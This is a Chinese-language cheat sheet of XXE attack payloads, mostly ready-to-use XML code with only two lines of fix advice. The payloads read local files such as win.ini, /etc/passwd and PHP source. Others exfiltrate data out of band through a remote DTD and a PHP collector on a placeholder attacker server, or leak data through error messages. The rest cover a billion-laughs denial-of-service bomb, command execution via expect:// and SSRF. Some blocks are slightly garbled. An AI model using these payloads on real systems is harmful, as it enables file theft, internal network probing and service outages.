

xxe 常用测试payload

前置：探测语句

```
<?xml version="1.0"?>
<test>hello</test>
```

1、读取文件

```
<?xml version="1.0"?>
<!DOCTYPE eleven [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<eleven>&xxe;</eleven>
```

读取php文件，发现读取内容为空、没有读取到文件内容，原因是 php 文件需要进行加密才能够被读取

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>

<eleven>&xxe;</eleven>
```

2、外部实体

```
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://your web server address/test.dtd">
    %file;
]>
<eleven>&send;</eleven>

//test.dtd
<!ENTITY send SYSTEM "file:///c:/windows/win.ini">
```

3、无回显读文件

1. 建立test.dtd外部实体文件，在远程服务器的解析目录下。

```
//test.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://your web server address/get.php?
file=%file;'>">
```

2. 建立get.php文件放在你的服务器根目录中用于接收数据

```
//get.php
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>
```

3. BP抓包修改, POST请求体。

```
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://你的web服务器地址/test.dtd">
%remote;
%all;
]>
<eleven>&send;</eleven>
```

4、无回显：加载本地DTD

如果目标有防火墙等设备, 阻止了对外连接, 可以采用基于错误回显的XXE。这种方式最流行的一种就是加载本地的DTD文件。

```
<?xml version="1.0" ?>
<!DOCTYPE messege [
  <!ENTITY % local_dtd SYSTEM "file:///目标机器本地的dtd文件绝对路径">
  <!ENTITY % condition'aaa)>
    <!ENTITY &#x25;file SYSTEM "file:///etc/passwd">SYSTEM &#x27;<!ENTITY &#x25;
eval "
  <!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
  &#x25;eval;
  &#x25;error;
  <!ENTITY aa (bb'>
%local_dtd;
]>
<eleven>any text</eleven>
```

```
<?xml version="1.0" ?>
<!DOCTYPE messege [
  <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/websphere/AppServer/properties/sip-
app10.dtd">
  <!ENTITY % condition'aaa)>
    <!ENTITY %file SYSTEM "file:///etc/passwd">SYSTEM '<!ENTITY % eval "
  <!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>'>">
  %eval;
```

```
%error;  
<!ENTITY aa (bb'>  
%local_dtd;  
<eleven>any text</eleven>
```

5、Dos攻击

常见的XML炸弹：当XML解析器尝试解析该文件时，由于DTD的定义指数级展开，这个1K不到的文件会占用到3G的内存。

```
<?xml version="1.0"?>  
<!DOCTYPE lolz [  
<!ENTITY lol "lol">  
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">  
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">  
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">  
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">  
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">  
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">  
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">  
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">  
<lolz>&lol9;</lolz>
```

6、命令执行【了解】

在php环境下，xml命令执行需要php装有expect扩展，但该扩展默认没有安装，所以一般来说命令执行是比較难利用，但不排除。

漏洞代码如下：

```
<?php  
$xml = <<<EOF  
<?xml version = "1.0"?>  
<!DOCTYPE ANY [  
    <!ENTITY f SYSTEM "except://ls">  
<x>&f;</x>  
EOF;  
$data = simplexml_load_string($xml);  
print_r($data);  
?>
```

payload:

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
    <!ELEMENT name ANY>
    <!ENTITY xxe SYSTEM "expect://ifconfig">
]>
<eleven>&xxe;</eleven>
```

7、SSRF[了解]

SSRF的触发点通常是在ENTITY实体中

payload:

```
<?xml version="1.0" ?>
<!DOCTYPE ANY [
    <!ENTITY % ssrf SYSTEM "http://ip:port">
    %ssrf;
]>
```

8、XXE漏洞修复方案

XXE漏洞归根结底在于XML文档解析引入外部实体，禁止加载外部实体。

使用安全的libxml依赖库，版本在2.9以上的版本

9、XXE漏洞总结

XXE漏洞产生在外部实体

主要有4个利用方向：文件读取，命令执行，DOS攻击，SSRF

按照有无回显可以分为两大类

无回显可以加载外部实体，返回数据到我们Vps上；或者加载本地实体报错回显

10、真实案例

1. 中国电信某省系统Blink XXE

https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2016-0205725

2. 搜狗某站文件读取/列目录(Java环境Blind XXE)

https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2016-0210560